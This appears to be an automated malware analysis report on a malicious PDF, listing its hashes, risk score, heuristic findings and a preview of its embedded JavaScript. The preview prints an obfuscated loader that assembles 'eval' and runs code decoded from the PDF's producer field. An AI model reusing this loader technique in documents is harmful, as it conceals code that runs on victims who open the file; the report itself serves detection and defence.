Malicious PDF — malware analysis report

Static analysis result for SHA-256 bfdc4129d5b8abf1…

MALICIOUS

PDF

22.1 KB Created: 2010-07-25 10:32:51 First seen: 2013-08-13
MD5: 891f68cb0bc971a25dee5444c491d4e0 SHA-1: 393fdd90993f5c284afbd8712ad47167a0cab918 SHA-256: bfdc4129d5b8abf1d142e0b04bc93530b5699cab948b432fb3252462a0321a47
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 Scripting: JavaScript

The PDF file contains embedded and obfuscated JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The use of String.fromCharCode further suggests obfuscation techniques common in malicious scripts. The extracted artifact 'javascript_obj0001_000.js' is likely the payload or loader. Without further analysis of the script's content, the exact attack pattern and family remain uncertain, but the presence of obfuscated JavaScript points towards a delivery mechanism for a secondary exploit or malware.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    trmq\(trmq\('String.fromCharCode\(' + kja + '\)'\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x5651 368 bytes
SHA-256: 185bc84806193ff4b0653c108c39f3c38564c27abb2148fe89b16d768e3448ec
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
jeuc = app;
qhw = new Date(2010,11,4);
var onc='';
var jrgsq = 'e'+qhw.getDay()+'a'+onc+'l';
jrgsq = jrgsq.replace('6','v');
trmq=jeuc[jrgsq];
var onc='';
trmq('va'+onc+'r grb=th'+onc+'i'+onc+'s');
rorvs='pr' + onc + qhw.getDay() + onc + 'uc' +'er';
rorvs = rorvs.replace('6', 'od');
var kja = grb[rorvs];
trmq(trmq('String.fromCharCode(' + kja + ')'));

Open this report in the interactive analyzer, or submit your own file for analysis.